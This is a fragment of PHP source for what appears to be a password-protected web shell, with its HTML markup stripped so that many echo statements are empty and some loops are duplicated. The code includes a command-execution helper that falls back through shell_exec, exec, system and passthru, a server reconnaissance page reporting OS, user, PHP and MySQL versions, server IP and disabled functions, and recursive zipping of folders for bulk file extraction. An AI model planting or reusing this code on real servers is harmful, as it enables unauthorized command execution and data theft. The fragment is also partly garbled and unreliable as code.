addFile($src . '/' . $file,substr($src . '/' . $file,$path_length)); } } } closedir($dir); } function compress($src, $xX) { if(substr($src,-1)==='/'){$src=substr($src,0,-1);} $arr_src=explode('/',$src); $filename=$src; unset($arr_src[count($arr_src)-1]); $path_length=strlen(implode('/',$arr_src).'/'); $f=explode('.',$filename); $filename=$f[0]; $filename=(($filename=='')? $xX : $xX); $zip = new ZipArchive; $res = $zip->open($filename, ZipArchive::CREATE); if($res !== TRUE){ echo 'Error: Unable to create zip file'; exit;} if(is_file($src)){$zip->addFile($src,substr($src,$path_length));} else{ if(!is_dir($src)){ $zip->close(); @unlink($filename); echo 'Error: File not found'; exit;} recurse_zip($src,$zip,$path_length);} $zip->close(); //exit; } function get_string_between($string, $start, $end){ $string = " ".$string; $ini = strpos($string,$start); if ($ini == 0) return ""; $ini += strlen($start); $len = strpos($string,$end,$ini) - $ini; return substr($string,$ini,$len); } function func_enabled($func){ $disabled = explode(',', ini_get('disable_functions')); foreach ($disabled as $dis){ if($dis == $func) return false; } return true; } function binary_shell($cmd){ if(func_enabled("shell_exec")) return shell_exec($cmd); else if(func_enabled("exec")) return exec($cmd); else if(func_enabled("system")) return system($cmd); else if(func_enabled("passthru")) return passthru($cmd); } function fExt($filename) { $path_info = pathinfo($filename); return $path_info['extension']; } $images = array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff"); $movies = array("avi","mpg","mpeg"); $user = $_POST['zun']; $pass = hash("sha512", $_POST['zpw']); $pazz = $p; if($_SESSION['zusrn'] != $u || $_SESSION['zpass'] != $pazz) { $_SESSION['zusrn'] = $user; $_SESSION['zpass'] = $pass; } if($_GET['page'] == "phpinfo"){ if($_SESSION['zusrn'] == $u && $_SESSION['zpass'] == $pazz){ echo '
Software: OS: User: PHP Version: MySQL Version: Server IP: Safemode: Disabled Funcs: Disk Info: Current Folder: Shell Folder: |
';
$ts = disk_total_space("/")/1024/1024/1024;// IN GB
$fs = disk_free_space("/")/1024/1024/1024;// IN GB
$soft = str_replace("PHP/".phpversion()."", "", getenv("server_software"));
echo $soft.' '; echo wordwrap(php_uname(),90," ",1).' '; echo binary_shell("id").' '; echo phpversion().' '; echo mysql_get_client_info().' '; echo getenv("server_name").' / '.gethostbyname(getenv("server_name")).' '; if (strtolower(@ini_get("safe_mode")) == "on" || @ini_get("safe_mode") == true) { echo 'On '; } else{ echo 'Off '; } if(@ini_get("disable_functions") == "") echo "None "; else echo ''.@ini_get("disable_functions").' '; echo round($fs, 2).' GB Free'.' of Total '.round($ts, 2).' GB'.' ('.round(100/($ts/$fs), 2).'%) '; if(preg_match("/\//i", realpath($_SESSION['current_folder']))){ $cpaths = explode('/', realpath($_SESSION['current_folder'])); $pathslash = '/'; } else{ $cpaths = explode('\\', realpath($_SESSION['current_folder'])); $pathslash = '\\'; } echo ' ';
$asdAsD = 0;
foreach($cpaths as $paths){
$buffer .= $paths.$pathslash;
if($asdAsD <= count($cpaths)-2){
echo ''.$paths.''.$pathslash.'';
}
else{
echo ''.$paths.'';
}
$asdAsD++;
}
echo ' ';
//'.realpath($_SESSION['current_folder']).'
//echo '';
//echo ''.realpath($_SESSION['current_folder']).' ';
//echo '';
echo ''.realpath("./").''; echo ' |
';
echo 'Your IP: '.getenv("remote_addr").'';
if($_SESSION['zusrn'] == $u && $_SESSION['zpass'] == $pazz)
echo ' Logout'; if(isset($_SESSION['muser'])) echo ' MySQL Logout'; echo ' |
';
if($_SESSION['zusrn'] != $u || $_SESSION['zpass'] != $pazz)
{
echo '';
return;
}
function fsize($file){
if(filesize($file) == 0)
return "~";
if(filesize($file) < 0)
return "2 GB+";
if(round(filesize($file)/1024/1024, 1) >= 1024)
return round(filesize($file)/1024/1024/1024, 1)." GB";
if(round(filesize($file)/1024, 1) >= 1024)
return round(filesize($file)/1024/1024, 1)." MB";
return round(filesize($file)/1024, 1)." KB";
}
switch($_GET['page']){
default:
echo ' "; foreach($files as $file){ $f = get_string_between($file,"/",":"); $fa = '/'.get_string_between($file,"/","No such file"); if($f != "") echo str_replace("//","/",realpath($_SESSION['current_folder']).'/'.$f)." "; } echo " "; foreach($files as $file){ $f = get_string_between($file,"/",":"); $fa = '/'.get_string_between($file,"/","No such file"); if($f != "") echo str_replace("//","/",realpath($_SESSION['current_folder']).'/'.$f)." "; } echo "
';
echo ' ';
echo 'md5 sha1 sha256 sha384 sha512 Decrypt SHA1/MD5 Hashes'; echo ' |